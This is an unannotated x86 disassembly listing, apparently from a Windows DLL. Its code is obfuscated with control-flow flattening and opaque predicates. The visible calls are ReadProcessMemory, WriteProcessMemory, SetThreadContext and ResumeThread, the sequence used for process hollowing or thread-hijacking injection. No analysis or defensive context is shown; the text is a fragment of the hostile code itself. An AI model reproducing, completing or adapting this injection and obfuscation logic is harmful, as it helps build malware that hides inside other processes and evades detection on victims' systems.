mov eax, dword [ebp - 0xa0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
sub ecx, 0x9f47a510
sub ecx, eax
add ecx, 0x9f47a510
mov eax, dword [ebp - 0x9c]
mov dword [eax], ecx
mov dword [ebp - 0x110], 0xcd78dded
jmp 0x10010168
mov dl, byte [ebp - 0x23]
mov eax, 0x4515694d
mov ecx, 0x74773111
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x283554da
mov ecx, 0x16970fab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov edx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov edx, dword [ebp - 0x98]
mov edx, dword [edx]
movzx eax, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, eax
xor edx, esi
and edx, eax
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x94]
mov dword [eax], ecx
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd8]
mov edx, dword [eax]
mov eax, dword [ebp - 0x90]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x21], al
mov dword [ebp - 0x110], 0x6dcce2e
jmp 0x10010168
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x81dab810
mov ecx, 0x480ee9e3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x10010168
mov eax, dword [ebp - 0xd8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x14]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd8]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x110], 0x3cc6ca1
jmp 0x10010168
mov dword [ebp - 0x110], 0xf082adbf
jmp 0x10010168
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001d23c]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x254abc43
jmp 0x10010168
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001d22c]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x7e5f10cc
jmp 0x10010168
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001d1ec]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001d1e8]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0x61c2ee9a
jmp 0x10010168
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001d1d8]
movss dword [eax], xmm0
mov dword [ebp - 0x110], 0xb41ac38f
jmp 0x10010168
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x110], 0x5b5d47e4
jmp 0x10010168
mov dword [ebp - 0x110], 0x93d28e9f
jmp 0x10010168
jmp 0x10006bf7